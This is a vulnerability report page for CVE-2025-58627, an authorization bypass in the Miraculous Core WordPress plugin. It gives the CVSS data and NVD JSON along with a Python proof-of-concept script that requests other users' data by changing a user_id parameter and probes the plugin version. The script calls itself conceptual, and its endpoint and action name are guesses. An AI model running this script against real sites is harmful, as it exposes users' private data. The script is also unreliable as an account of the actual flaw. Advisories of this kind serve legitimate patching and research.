Security Vulnerability Report
中文
CVE-2025-58627 CVSS 9.8 CRITICAL

CVE-2025-58627

Published: 2025-11-06 16:16:00
Last Modified: 2026-04-15 00:35:42

Description

Authorization Bypass Through User-Controlled Key vulnerability in kamleshyadav Miraculous Core Plugin miraculouscore allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Miraculous Core Plugin: from n/a through < 2.0.9.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Miraculous Core Plugin < 2.0.9
所有2.0.9之前的版本(包括早期版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58627 PoC - Miraculous Core Plugin IDOR Authorization Bypass # This PoC demonstrates the authorization bypass vulnerability in Miraculous Core Plugin import requests import sys def exploit_idor_vulnerability(target_url, target_user_id=1): """ Exploit IDOR vulnerability in Miraculous Core Plugin Args: target_url: Base URL of the vulnerable WordPress site target_user_id: ID of the target user to access (default: 1, usually admin) Returns: Response from the vulnerable endpoint """ # Common vulnerable endpoints in Miraculous Core Plugin vulnerable_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/miraculous/v1/", f"{target_url}/wp-admin/admin.php?page=miraculous-core" ] print(f"[*] Target: {target_url}") print(f"[*] Attempting to access user ID: {target_user_id}") # Example: Access user data through IDOR # Adjust parameters based on actual vulnerable endpoint params = { 'action': 'miraculous_get_user_data', 'user_id': target_user_id # User-controlled parameter - IDOR vulnerability } try: print(f"[*] Sending request to: {vulnerable_endpoints[0]}") response = requests.get(vulnerable_endpoints[0], params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200 and 'user' in response.text.lower(): print("[!] VULNERABLE: IDOR detected - able to access user data") return True else: print("[-] No obvious vulnerability detected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_version(target_url): """ Check plugin version to determine if vulnerable """ version_urls = [ f"{target_url}/wp-content/plugins/miraculous-core/readme.txt", f"{target_url}/wp-content/plugins/miraculouscore/readme.txt" ] for url in version_urls: try: response = requests.get(url, timeout=10) if response.status_code == 200: if '2.0.9' in response.text: print(f"[+] Plugin version 2.0.9 detected - PATCHED") else: print(f"[!] Potentially vulnerable version detected") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-58627-poc.py <target_url> [user_id]") print("Example: python cve-2025-58627-poc.py https://example.com 1") sys.exit(1) target = sys.argv[1] user_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1 check_version(target) exploit_idor_vulnerability(target, user_id) # Note: This is a conceptual PoC. Actual exploitation requires: # 1. Identifying the exact vulnerable endpoint # 2. Understanding the parameter structure # 3. Proper authentication context (if required) # Always test on authorized systems only

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58627", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:59.557", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in kamleshyadav Miraculous Core Plugin miraculouscore allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Miraculous Core Plugin: from n/a through < 2.0.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/miraculouscore/vulnerability/wordpress-miraculous-core-plugin-plugin-2-0-9-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}